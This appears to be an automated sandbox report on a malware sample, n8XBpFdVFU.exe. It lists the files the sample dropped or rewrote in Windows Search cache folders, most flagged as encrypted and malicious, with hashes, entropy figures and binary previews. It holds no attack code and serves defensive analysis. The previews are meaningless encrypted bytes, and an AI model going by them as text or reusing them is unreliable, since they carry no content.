Preview:	Ej..D6..2.?v&S'W<..j;. .h.4.@...c..b.?0.(5..._...G.3...\\'...U(x.4wap.dQ.....M1..f..j.k~7=h5......%.?\|..wp5)H..C..2_...j%\...bH\.........\|..RV....=.r...1..fa.......k.bl....]...B...CH.DV.Ot....My.h..+..z.>..=v_.o...."...U...O....g..;..............X..y..4%...\|.Z./..#.?+..s.Q........5s.>..c....R[.~..Ei.4.1L...u..........02......2..@....^Q.@...u.8.~-_j.}u.1`+8.......x......?p.8.......;.f.t.U......?..t..h...K... ....!;..-"h.......[N.c.....a.S+.U......j. .;.&.......`....W!.X..k.W.{..$..{..$..R.\.3.n/..D.g5.oI.....a.kF......>.sW........a............>..\.Q..U.1...u...Vbf."7..E..\|b......eb...J.........\|.IoB*...Z.r....?Y^.6z.>...A.....i.X.}.Q.$`v..b...[..S.@.@bV=.}._....h....QB.../...EH..DYN.C..a\|.0.5.A...tB%...8A\|.w.9............I...k2.x..T..t.f...75....\|....v..]r....i....lP... ..N..-..u..w.y.^ \.8.v.+y+.....er....1.(...."..\.d:.?.h3QM...!.E7..zm.7...+.'1 ho.e.7..d.Q..4.....@}Aa.n..x:...H.......T@a..J....E....._....... ........f

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998365485961366
Encrypted:	true
SSDEEP:	1536:asCXRmZuMUVp4pzMJzfHyt/ecdpucGDsLusvCQJGczXCD+K6SpI4Se+EBQjSpd:GhmMMUr4RM1fHm/bbukn5CCPeZqg
MD5:	CF5E38C7089D08E1EFCF53B7AC8310F4
SHA1:	9ADC96729CD70D01E04774FEB75BAD2D876DAEEF
SHA-256:	C7278C1426C6251DD67F4494B31B4FC869A26456F0040E18A6FB7DBF0C2AF521
SHA-512:	5683850EE7D67EF1FE5A44392CC985D4AAB741C5858EEC01E6C750A3A48404EA612ED91904F65B500B3FB3E8C1A4DCC9C3017226F13C0ADBB3089D00DFD572D4
Malicious:	true
Preview:	[{"Sy..........@...X/[=v..>....c..v4.y......[".Z.9V6.x.3..Y7.v...`.hs7.E...Xr..>....?.B..Q., G8....{f.....m.jQ.... z...u."v.A{.pVI..UpAt.u+........gH.a..'7.fS....W...D.....G.Y..B\|.. .....X..%7...Kw..8CU\|g....=9d..G.......]B.....X......fh...;..f..ie.i.J...}......ZzH..#.~...........6..+.k..M..(~&1p...=.{.dH...+Eh..../.0...t...^c....bh^..zpT..!.#.0.!U?.....+v,f...pAk}..?.\.<.l".PV.....=.f...........'a!....S..}..o`..#.k...0...6HW..2}l..oh~?.7....W.&9.{h.^.K..\.qYLX..V...Z............ivh..k.....I.V?.GD.ug!.x.Ctv$....%.._.9#..S.Fj.x.v.\|.. .SAN.tp.X.Y."...v..a't....)........v.F....$..gd..8c.04....x.0..A....-....$.\..."(...A.D......z.........'......U........!a.Z..h..;.....[..$=..G,.k.);....:.n,..~..U....!.A..+.1.D.x......y.,A6..R'.U.:......A.D...b.../.OU...9...nY>0.`,W.y].J..Y..gN..1.v.I.Tl.'=.{.-h3.mj.......u.j.......N.t>..........b.%....nj.\|.....F./M.a....c...!J[..%..3......g$9&..Rr-.H#......=..*Y.J.n..m.Ws........4wy...E....F

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998425048661243
Encrypted:	true
SSDEEP:	3072:jFwsYAZ4CPeECi4sclucoMQipIjlT4UgGm9g:jF3XnPhOX+2Ubp
MD5:	A8327644ECC410301D28EAA19FA4A217
SHA1:	0D23CC0FB44355BCAC5A84EC89CD1C0873F0F6C8
SHA-256:	423F291FCB2EBDE3971A7AC59E3FCE8159EDEB225E3F7F59BF15A4594D90F427
SHA-512:	6FE45173416AF73BAAB72A3A8DA38DD9EEE3B5B5C7DDE267D7769C7DC188FC16F3FFD4A4E66B3F7FF476DA1D11C049D9C3BB3FD66A5DC19098BFD291AD5B933F
Malicious:	true
Preview:	[{"Sy..r...........B..&!.l{..H..G.U..]w.k.).6;=..d......k..K@...>....+K.`.Q.;l2....\{....}'...SZ#u:..;..<..:..r...#.......j....B;.X..d..M...6.O...<.vaC(.....+~.....1........j2.1....Q>L..E..B.....(.D....0#...l..G..i.....,9.X...0.2Hn1.....E+.k.'2.(.5...HB..Q...6..<..u..s..7.....5....S.]\.Nq-.2j.\|0..w.......-.G.......A.rU.n...g.1.`Q.#[.G.K....z......W;.ob.0..Y1^..3.%..u...k..j<...J..s..+F.uz.....Gn.sw.......v....1....]`+.:..q.E9%..!.M.U....a..xc.o>..P...7..`B.e.W.....4.j.Q.V..y......p+c...\.Uy....8.$..,..L............,.o.<S..A.I...S.i.p.U..{."...K..-<Di.B.?.............V._..x..._MTE.......NF.8....].H./.F6... .(H.Q.-..."......~.P......w`..~I.l&..B9m.K..\...A.f....~..u....v.m...]&.Z......k.]:Y.......*p/.....{w:k..u.D..\..%A;7.<..$t....;........N...C^..BZ..b.....N.MKX.e. ..<..,v.<...P.0..R0.?........O2.3Qu.W. ..$.f.4...L..br........c.{:..n.(.P..K......@.G;..,+.Ps..LV%.i\.....`...n..#..DV3.r..C.i.....Y......`.Dv@...]FKK-....q........B....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998187474620669
Encrypted:	true
SSDEEP:	3072:pwoYxUBxM5jMu6LezM6dtVC4OtcZtqvo7+ZJ/EaBnZngtxAmZ:moQUbmMuwezMKA+Kvu+ZJ/HZnC5
MD5:	84CD26C06FE8BFA0594844E0B2CCB6B9
SHA1:	8CEAE2DC1BFEDA10049E51F1242C086C47774ABF
SHA-256:	CAFC90C3391C68C187E7E101FB2D198D15111CA5CC942A909595BF4541925F22
SHA-512:	22ADB1D0F1AB067B847D42F783A386859AC3E3C33C379BB6D33E7CA1EDB0F57172F71408EEDC30132AB94BF42D72467A6BB2E7C30E89B45E2062443D905A4593
Malicious:	true
Preview:	[{"Sy].;.Wa.uU..2g..p.....v..V.&.....H.u...\h.5.k8.e..edIA..i....hm.9..c...L.7J..L......y/......6...@vGY<....3.U.....\|.s.]..L9..v.0..Tf.O../6.Or....C<..S.O.5tT....+..0` ....(..X...uu.Y......k...\|..ogs.....L.....&...^_..d.....].2.Q.$.!;Q.....`l....v.JI..@....^.1.t,..........R...!'e........c.g9TF..l.)8..}.r.....SY`\|..}...O...&S.1A...S.Li..80...Uf...bL{..P9.J...Thi..}..2..J...VN.f}..)..POgI.J<09g(..]..s&..+2.`....[.<..F....B....JN..3b..M+..Y...2XcU.B.\|.5.}?....{!...B<..`.Sw.C.... .X.^...E.E..F^...N.iQD".... ....y....L......H..1gP.....@...6_1.3=hD....x.y5.P.P...f..u......xs...h/<.......:..g..4?a..K+...y....:../.X..f...)tv..2j..q.R._.....@.U^.....L.Y=....b....nD..1!4....bW"..zq.mT...v..c..(......".1...at...M2...........<....r...]L...K...Uf..b......`..b!...7.#,.....@..1g.N....vPn.6......../.<..V.;3E'....9..Y..J.~.2..8}..A....?..+.$N.<......~...NQ_.......J5.)J.....:U.....$..*e.h..7q:...I....u.>.T..0.a</..B..p...\|W:z_RB.Z).%.fXj...............

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998421689392006
Encrypted:	true
SSDEEP:	3072:vHnvU+o1HumfYob9aI5HuH5DsemIePfDKxSJB2K:vHSfJTluH5se6fDKET2K
MD5:	22F95727A18968A01199DACBAF3FFDDC
SHA1:	873A2DCE0A3F14DA57C50774573B0BD81CB78C64
SHA-256:	D8EBFE2BE8E492B0CD886CF2F064557CCEB9EB8FDEBF2B4739EFE31EFA479B82
SHA-512:	D6C11D544EE90F6CF76A82BFA2042F1084A9EA95F73B894C0963E16EA6715FEC26323F0CA561247B2DFE2F857BED9730311CFBF6387E2280A65FF738457627B4
Malicious:	true
Preview:	[{"Sy...K...I..e..L].f.7.'......p.h...0}@#g.~.`e.it....P.rp.....;y....\|....\|.]E...S).XR-.r.l...p...F..r.W~4.".im<......-`..JqD:2...0.=+~.....>......'.t4!\|....vc8.#S.g..+.u...6k.@^..`z.+..t!.h..,.Y..UXt.#R.B.....bk(.....2...A{.......].y..1x[Xz.'.F...B..$.}>...n"5.Wg..MPz<ULK.%.W........VW...O.;)"..v/.....2.1.....f+)..$...#.k'.....B..^..v.psZ.p.x.P..m..m..J#Dc..%?<..\....l.`mD..5.U2..q.w.....g...3TC...n?~.....)d"Z.;...3k.........u.J.._Y.......W7...W.\.8...4..}=..T.[.-K.....c..vY.S4..y..=._.>..IC.....b....Z..I.^......c1k(q....x+..(.#[.. ....A.........P&....).7.7D%..Q#=.F..8...30+.yg)%...[...d...cg-2..Y..0.....<..@..A..!5x..$....`:.l.w.....O..g`l...5R.e_..EIm..<...$w..\}Op...dF.s}K_&9A..".?.b..\|......(m.".....G.....A......+Y.}.:.......$.. .$..5w.jj.....5.+:.l.O.....2!..f...u..h0.L..4..s..N.....6.....H.[..%W....Y...%. .+...}e..N%A.#.nZQ..6yY.z..v..jF\|G....&...m..9c..].zp/..+Ns}.v.e.........o}....GJj.D.m.#....>..YjvX.~......V.+..jy..;.. .D..L..;."

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998387262136475
Encrypted:	true
SSDEEP:	3072:WxYuxBGvUuSRnUEFd2ApbIJmXU0tpc7JAyuW41yZy:WxYuxBSNUUEvIJB0t6750
MD5:	225F81A71F62EC9ECB74B37EEB1ED22E
SHA1:	DD6F92EE1E5D3E00119C16737BCDBAA08587CD49
SHA-256:	67C893EEB29858D375783CB87959AD469A2AE0C9252FA52B3C73B709271BAE81
SHA-512:	42B7E3A4A790625DE918D3F7BD8BD4D015C00C3E8013215FF9A73326B0E89FD38AEE76D5A9FCAE94AE9F12F0BB8E9471DE84F5B1425E762066639834A7CE568D
Malicious:	true
Preview:	[{"Sy....P.nqf.. ....N..._X.......w..\..4.r....8..R..`..g.9w..RsL..i....E..Cr..A...,.1m)..B..H..Mt......c-.'..~..7...h.?s.@HQMF.&._.S.M\|{4......~..b..c..D7m."......(..(F..k.. ..M...).&...4<..&g.6!3.7...=a..5p............\.o.n.EP........."7n.z"q.X`..;..Iw........ {.i...... 6..2.6"...L#.'{)..}[u;..V....Eas....a0'...m..I....1.(1.l.dM.%.;.s...s!......m....n\.nb.....s.S<....`........f\._A......4..n'g..Eu"..fs.'v.u..i.A.XNRs.M;..........k..o..m,.Je.7LAX...6..hA....Ew....L..3..u.e&.........O...._...6..)bF.4.....e..z.pvH.........\|s...fw7J...c.e.....C$.vq.v!.....^4.2. .&...b....sg..Cp.n.p....M.......>W,ORJ%".^.V./a....$.z...H.g.F.'..A<...._........dO..k....a..39M..N....:.?.Iug.H..nx....O.E..$......".$9..J.Pn.....<02...V:....B..MsU.zT....i...y..W..j.}dp......#@g....E.y.....?'..5.?=.OF\.^..\|`....9T...``"w.I_I.:.9FC..=.$.a....Nwt..q....}z.j.Q!.Y...........d..zkV.h.._.3.Z.3..F.....cI.@..xpc"_...#]..(-1..W..... .}IWm.X...............\U...7...N..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	117246
Entropy (8bit):	7.9984535755218324
Encrypted:	true
SSDEEP:	3072:Hbz9b39LhmzYmmqqVSCWWPo/BIc9BclNtIHtAzbGjuQj:Hv9zZhmzYmm5JWWeBv9BclnICzZU
MD5:	680A61EC5E3BC10C379F2ABFDF6516C0
SHA1:	96346D0757EC0F9AC553D5905E286FC04239E115
SHA-256:	B4AE42394A5E1D9E80EBFF3D47817EB4815698669C131BE357B45A1104F6379C
SHA-512:	7ABC3E74B223436DB14265636BD2A13DD6BFD303EB15FBEE57467EE0C59A0CF471D9C4181FDECA18C64FDA65B18A49E5B309E80D02910CB8FB6886C0EC4AF630
Malicious:	true
Preview:	[{"Sy...I.Q.,P....8u......4.-.d..!......H.h....O..5......K..E.`.'nCA.t...k..X..%S......l.... ?.e....P....#...u.y...3S./.>.]..S..Z.8....}@..T..._1.(.. ...."...8...O.6..+9c.L..7.z..f ..+.AI...!.d.....G#?...../...j.Y;.J......./.2.....v.9.1... r%.S..;V..t]t...[.^_{.}.vX.E9..!.P.C..1..j..`4..C'....V...r...........#..L.{.....O.8.s.....@..T.._."D........G..l..Q...d..I.2.&.i.\..3..r....8...\|(..0..2'k.)UM....a{0.d.Wrw...4...t....C....\|..X\|...:/..I3T3H?] ........(M@g...G...c.>.j..e.!..7.a..2xus.\HhN...=".~.!E.....4....D.ICu4..{..>.y...$Z..i......Y. .......T......za.<.....$R..we.et. g... .i.R.\|s..O.-. ...h....L w.....8e..I...Kx.#a.uC.L........N..Zcj..i.{../..NVD......;\|.8...w8.>.K.hn{.r..\.z{..%i.../..!7.l.a..T@\|.S..s..S...Z.V..5..Z..tO@:..F.....~oA.<Im.z.0.`.rH.u..L.g..Fs!.....9,..B]89..........'..V.1,."~..!.Co........[.b.....mo........GXg... Yx(......e.c.A ..C.N.;Z...i....@......y..l..'...~..eV.3..s.1.A$iF.J1.Jc..,..^.....0\|..7.......5.q..&.y.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	116817
Entropy (8bit):	7.9982256400403795
Encrypted:	true
SSDEEP:	1536:XyuYVcVZsaPYuI5mjjnU+LWewnSVqqavqVHYnr/qv/1oRDzlkVigtpHErNevVsEW:P0gj4+aewn01aC5YneFQjI9YmVsFp
MD5:	4B6DC405D8AC79EA834816F9C5CD45D2
SHA1:	47F6A5B789E85F61DBF41C956946A1202643D680
SHA-256:	07033A113F0FC315733EDE1AF804F46DC61E3059D133A7FA494A066DF48B9BD2
SHA-512:	8708DF2C1229FE6264B85D8C6BC1337967D166462A53FA5002EA5E482A970E0311F6F77EF7A52857EF52B4B9931980D347D40E82B27A3B4C6197EE32B9D04F6D
Malicious:	true
Preview:	[{"Sy..NF.%.:~.L.t..B=..'..=.. ...'1;k.T..^(.a.<...u..s.j..u..1.=....P..Q...M..L.x....Wy...0.a.....P.b.j8.L.-l...d.p.f 0E..E.. ,.......}n.-'..P.?w...n$...=c.Q...;..?....... {#k.B:.2+K.Z_.....N}..y/..p9. ...FL ....p.Gy.>t.8s.....%.Aj..j.r....'!XoM..P.9`...$.'jD......._N..2.....1........'F5bq...........'..........H}6..i..].1.r 7p....mn.Q.?.tq...K.'.~....j9.;...^........-...P.X...Y...... %8:.6.B..rL........k.f..GE..Y..O.....t..+...}.C.8.$..{5.r....p...A/..^....zbjsU4MS..4\'.2c......h..#..b...:\|4Wk.%.8.#..3.(.............\9{.1...#".J.k......8...9V.a.,.}..$J{T.0..Dd..pVG<).....h.oP .....j..b<...%...hN.JJ.O.......h...mP.WU......m.;81...H.....)..W..d...................\...V..7.b.>..P.....X...e.e........x..K.3.'X.T+H....S..bQ.v@..E3.D..:s`.L..DJ..A...wY..B_...l... .n.......e..^.+.....N.X....^...o.A@6n.L...M.~3..W..z.*.(.....u..n.na.a..//.@....t....e..B....s9B.......t/.U.>K.....j....P.Y...8..=e;m&]>...oFd.B.?pa=?...yK_...-..B...)...w..g8.Jx.(

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945532339763.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998631512226565
Encrypted:	true
SSDEEP:	1536:YuUkZsgL0sB3ZXViFYigQRzyfwD/GtZMDdvVwkLKiN9RFWlU8oFvozDxzgvpkkVi:5UVgYsdZFvCRT7Sedbd0GbFwz1UhIfh
MD5:	C629E8908DEC1E60476557331AA02EFA
SHA1:	CE947FDADAEFDE2C637AB40C1650C79AB32A6A10
SHA-256:	6CEDFE4113B26AD51BB9055556901EDF770E721A6A22F7CED7E65D7B2041C056
SHA-512:	1322156AE750E662F87D83779EE3F424074C06335A44FB4B81037EA662906DAA0A5D60DB9687F96AA6E2DD2EB93C23E3C8B3D6568C1360C9597EF09553C5EAAC
Malicious:	true
Preview:	[{"Sy5......y.T6..C...4.Q.U...PZ1.o3Ib.v..~.b.........TSc2 .Mz....i+..u[=..3RL2..T.........2Ky..N...F...l/.]..sg......d..a..$X.a.......tTw.N...B1..=s..K.......!^g..%.)...r.%2..u.7^@.. .z.s`....$n...g(...Mr.~.A.m.&d^c........u..1...?G..^.....9..w....+..7.:.\|.&..% .t..G..~S....T,U........D..\U..DM.T$.4Z..:..8H}q..cc`.@.:.b.Pq...`..x ....i5.T.MK]k.g...k.O..v.._...C.@.&.M.r].mBwJQM+...@.N`.....vY.2i.j.......&G.>\|..7.Q.No'~.+#.\.Y.E .p......" /.g-`o..jE1........z.u.k...c.y..0....>....,..V....y...hQ....A.t.S4.`G.rX>..lq.)....<....v.LX.....1a.7.o.......;.g..L....3J.Ev..8...Q@+\|.e..BO.ic..rJ~.<_.j.s.E. .`.J(..Fl..yjcuTbHzK.........Ky.........FRk.B^%.hK.E.....W....D5.........~....iE.M..._a..:>#.O....ju~...IS.1...['V.....X......d..;...q.\.G...fI....M..\|.............$T.X.H...7...(.f....ddUo.@....rH.=...4.NF...........Xz.a.B.....j.\.L.a.m...r.+%...t.^.."..v.r.. ...{SA.~<....Z.GF9.:...T.\|C......D.R..}.....mu.Ai.R.-......ss..d..VU...*U.3.TVt,

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584472286822851.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	114612
Entropy (8bit):	7.998209119982439
Encrypted:	true
SSDEEP:	3072:jGD2SkvBsLKASup4DAtJ7tNdfa1TphzCcZ+LsU:j827sLKASQ48tJ7tnaPwj
MD5:	E5CCA9902019200D0FE81C5DCAA0B8D5
SHA1:	9F1D2C6C749DD232FCD81A98224520F7B51357A3
SHA-256:	CD9BB5275478BCEF8AF1963ADC375C051304A57AE68A0205A0C82E18D80B1C69
SHA-512:	DFF79E429921E27A4CE01385F2229FDD425F13028074910F87BF6200D86A2200AA7A9988231D3E119FC9F88C61CC80DB35CF063D4706D952B3D4E215D0DFAB90
Malicious:	true
Preview:	[{"Sy ...U2....\|........y.+..."..]..r.2'...WT....@M>...\|#...[p..U.S.V1.V.@\/;..Q.......M..9.u>....P.c..._..\|$."..r-[ZQ......E.}.y...(D..u..i8...&>.%G.FdvU...X.....+...+....1'.s=e.!..........DQ..c....&.a7,{....f~&.A@...+L..V.I..".N.gq6.Wba.C@.C.X..J......r.T...)...5..........DQ.l...kalMVn...h.....Z.@k.&6v.A..M[...2an.........gu....0....Y;_:!..r....AF.!U...E.....!m......{.2.H.........{.q.....g.uJ.&.MC....<...V.q...U...n...Xq.....I@M#... ..........@...c....8.!.!V...r6.. .ow.....L.............O...K'.#..Sm.7;.....fV.]>i...iW.....0.4...[......g.X.K..b....>.o.....).g.. ./i...%....frs:..]......l..LSm...V......,.d.j."V;.....^&.R...^.....a..[.....A.".y@<.-.f..v.{...S.... 3....+E...i.-\|....U8.P...m.\|p.Ne..pA.?........&....T^.olmq.k.J.2...8.....d..a...8..x....R..T..md..S1p..f....g..s..[..+.4'<Z-q..l.[oB[8.@].~..Z..$.nFw.Y.SHQ...C*=.t).YQ...?.\Tk.S.c..."....-..L7.o7g..v.B.....G..E).v...w......)o.e.o.~.`H.1...1. .Z.g.v".B.9...R..l.h......B.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.208114160907632
Encrypted:	false
SSDEEP:	12288:u3tspoW8Y8T+QUYubu/ZIoGotdYuMOCc5MpzgroTDLgH:et4oW8huJu/ZS1uMOCc5MpzgroTDLm
MD5:	FEA0EA792FD5854ECD91505C4B8E120C
SHA1:	A3179C45149CC8BF8C80E5651188205725356D60
SHA-256:	7D6AB1C9AD581F450C59A986849F1A863412426AAF3F6B224973D29901B32754
SHA-512:	6A142CB7660A2E2C84694380E66B00B9D9AA8092110404D65A08FDDF782A8D1923CA56B2338A2679C81D8195EEC44ECEE939D450F06A03C168D4CA04870F7673
Malicious:	true
Preview:	[{"Sy.g%.v...njH.S.....)".t.b.?.._.fNz4.Q+.3..^..,.%L.....E...x........1....s...E../5ojm.....p.....F.....x+[.. .p>%.&d.'yi+..".$w6.+..j..-..6z.3.wQ...huo.."....+...F..S.a.$.w..$r.[.t0../.\Z.l.@....Dx.bx%....O.Y..T6..h......X..\...w.Q.....u.[.#$h.E...]./.4.Y.&z_M..%w..Y.q!k~....f....X..eJeN}.p[...."..}"...q..Q..w..7rA.......T.F.H..>.I8.r0iX......A.n9.E.X!%5...$k;.uV..d._...K.\..`.o(..t.-..2..E.^..w...b..m>...".(..ST..^~.<....K.[..%.....ax(%..!...j\|8Q....)g...:...{9...1.k9~.......Wk.~..4..[24l...._..7....S..LK..D..Z.$.I..'.pU=3@o...fhDQ>H...+.IN.zh.....<.75]..N...L....w.....P. ..U..B0].^..%....T.^.U..d,..p..1..G.e.-.Tx...........w.6.T.[.5]....J-g!....E..x.[.mq.Yeh..\..b.\..]l..%.vw7...d.5/.\..B....uo5..'....%.....BR.3.w......J..;......Q.g.'....:3..<N......d...l.<..ag.eu4..D ....i>.q..P...........K8.M.7.`....@uw.`..mf.'..'.=...WYn....K]y5..<.. ..5.K.{..F."..<=..>.......xJ..v.&....3.p_.Q.....#..;.*M..PC.)...3.M..R..2...a...c.w...G.RL;.O

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	7.971605916560817
Encrypted:	false
SSDEEP:	192:Lv4GXzG88+rQ+6n79GFM3ysEk+6VkZBEzA2x/6AAu3H:T3G88+C7wFM3yXk+6VkZW84ix8H
MD5:	5FF20370CEDE1B948FBF11AFDD82A1CD
SHA1:	D275DAD7964DC2A1EC144BB312C89A4E4CE312A7
SHA-256:	777FB25BC3E36FD3B2842A9D3AE861A5601132856207ADF1BC52790CB2EDE808
SHA-512:	A403402B4BF203A753A04FCCB3EBC55023CA594CF925321C41DA4501CFA41F5F60536C9FCB94CA40F9A1319E95B7DD991763F0F0F6470B9E0EA445AF09F1672A
Malicious:	false
Preview:	<svg ....\|_....'a...2...o....<q.....2.6P..\|J..X.5.9.s~..~...N.........zK..R#.... ;.B2..&..r%Y...i..#C......j.`0#@.;...}C....P..Za.R...........7=.i.....j.6...:.....FZF...&..G.....cG...H.S.W.).m.E....z<2.D....X^.....2.......5.($....Tm3...MK..{....O..`...}..Iw4Jf..s]_.1V.H@.3`jD.os..z...bG.'........,.[.D...x....^)..\|JU.g$"............>.E..n..(....RQk..E'.@-......I..a..Y'...\....N. .m...r..._k.G...r.`.i..... 0...,...vs....N{4<.+o..6...@['...s.T.s.v..m.faE...J.X......~z#T.?#.i..0..5.wc......?].u..I.X...IWF...e)...{.#ik../.....7.&...Nez.)y.....S...@%#G..).+...>..........u'..i-.`.....D...i..S....SU..........QM....r.^(..G...N......n.C....\|..u.%j.>z.>Thb..T.T4?o()%{...).,...U.3...8.x"..EVV7...b...yNtJ`.e.k....F...]W{..L....j.!...T.f~B...~x.!..Q.....'..bk(..Y...zg0T........Q...J{pe'...IL....#.w2.e.n@W.9..>.._h.J[K.W#H..Vz.F.%..Qv..GHm]V..f.3..k...W.z0QN...k....k.%.\....?z&.......!.@...;.xT.e.Mq.y...Z..{....]...U..D{.s.0g....s.H.Y......UM.......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6854
Entropy (8bit):	7.973023713883956
Encrypted:	false
SSDEEP:	192:bi6zaVRO1fCof6RLzupE8eAfhuiWM+Wy57BY:bi6efO1fp6RfKRnhui6W7
MD5:	804B0D40BAAFE54F023172150CE2B280
SHA1:	9832A45C0139D6CED7D035E8A50BFC421CC1F0ED
SHA-256:	9D10463C816AD87640FF65F7124853B0CF56C38BB9B344BEA3BA1ED1FA831F40
SHA-512:	5E67A806A5524F17D273FAC6F3B53DF5EB13EA01C75C9FFC2F8824B6DB6A163020D7829BF0EA8BC33CFA80E02603A8E727DCF2EB51F4CD10E5B2662D9A247B30
Malicious:	false
Preview:	<svg .../.....mVC.........F."@S>.5..\|7...)..M..6..7..q:...g{V.5V..H..I\|aQ.4;\|..I.R..u-J...E...p.].@..p?1...rD".J.lZ..S.7u+.._/..,;.G.>l](O.$..e.t~~d....'..r...6..#..@..%..q ..M!g..;...).v......r......2.....>..l!.......A.H..a.#.9...ni.u....vD...?<.b.5\|.R$..@.h.. ..O..W..c.d..0K...Q..5.OQv^Is..<R.k0....g\|.e.V.$.r......I..D..)f+I.?....@k.N.).L..az:...........x.c.jBY.R...I...j.:....:..3.B....x......]..:.......?'.:z...!.........^<.F#.....p.]sH..&...b.o....7..U..<.......X...?@s..J...m!dQAV..=\......m..........y.....F....=M.5..K(.?...d].O.W.J...l...s=.U.W.e....s.."..oWYwy....l..-..I........{N.7.F.&.@...6q'.!)...[.{P..8.I.=2.0.a.1.e>V.........>.h..nt51.l#35z...4...2..$.\|y0....W..,f.....'........H..nbH..^?}d{@\.\|........c..c..}k.Gx9n.u..NZ.}t...n.x.;.yQ..../}.....1CV.P.[..T..._CH.N..;(.Z...8... h.....u[..<....(\|.../....R.f..N...c11....7.E.jS.....J.~q.r.<n.v.....!../.hiIH...qE ..I...!.....G\-.....U.y$A...-..I.U.+t5...s..$x\....../......o.1.....+.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	149024
Entropy (8bit):	7.998735031228409
Encrypted:	true
SSDEEP:	3072:sTdDYGzSMEV8zxvFdKwr7RYceDD1CQNNxxtbBtnracl9kSN9/bllzMEjS:sV3S4zdFdpr7ucU5x5nrac7kU9/bllza
MD5:	13726AAB0CF2AE621C0A44E19879838B
SHA1:	19EF0F1E962B983AED7E7B575F093C56BC522A96
SHA-256:	F6F75C76852EACA501190B44162758709BBFE2D4E15E646C547974FAD717268A
SHA-512:	213DE89188329B722DA8155C6FF65CE3E3985F93E4FD5E51287F47B499688DF372BF696EDC3E473DCB253CA8B48C6F9C020E8DB192EE28435FABC73BD6681CFB
Malicious:	true
Preview:	{"locp0^....?...$O.(..-v.....g...... .z......Uoa.p.......9..}r...,..>...P...`=.2.2.J...5^...0.Z..'UTb./(..V&....x.^......h....8c.{..i....1B...Z^P.!6.......\|....Z....H.{..Y..J(.....C.8I..3. .r.......WT....F..8.M,W..)x.....@p...q........4.D.^.f.&M..p.....+w..@4'$t..,~A...#.ji.PY..w..y8....(Y/<[.....#...t.V.K.Z.OK\2q-.GFnl!_/..\|./.^f.).....G....@h..c..k...dw...5p...[3...pJ..16..h.4...f....i.,..h%.._F.`O.h.......a..y.j .Y.mq....Q?.\|..G.#.d.0:.....;A..$u...5.m.......A.._.d..,.^.E]A..{..Q;.D..r.s....asz>g.z.zTKb.....=...5:.jqnw.Z..y'.m...._.z^..WB..l.......g....f...)R/.DQ]....q.I...........L..<..[t..QH...i.R.d.....B;..i4.".......b......7..,.....}.?(<...rQ()...`g....2bs.y..gE.2.>.b..q.}.....D..........;.&3.m..\..e"...;q..U..`.....E."...1..Rd7~.0....T@7....!.>8RX"P(.@eO....E.._.....12..m..=.....gS.d.A.'^.G.\|>".9.M./....x 6.2.].....n-.k..:.u........xy.._..=.z=kp...t...G.F."..G>+.....#Zb..5..}~.....).e...p.k'...{.`5n.BN]2..,.yN%u.g.a2.:.....v.u.

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_3_2023__13_9_20.txt

Download File

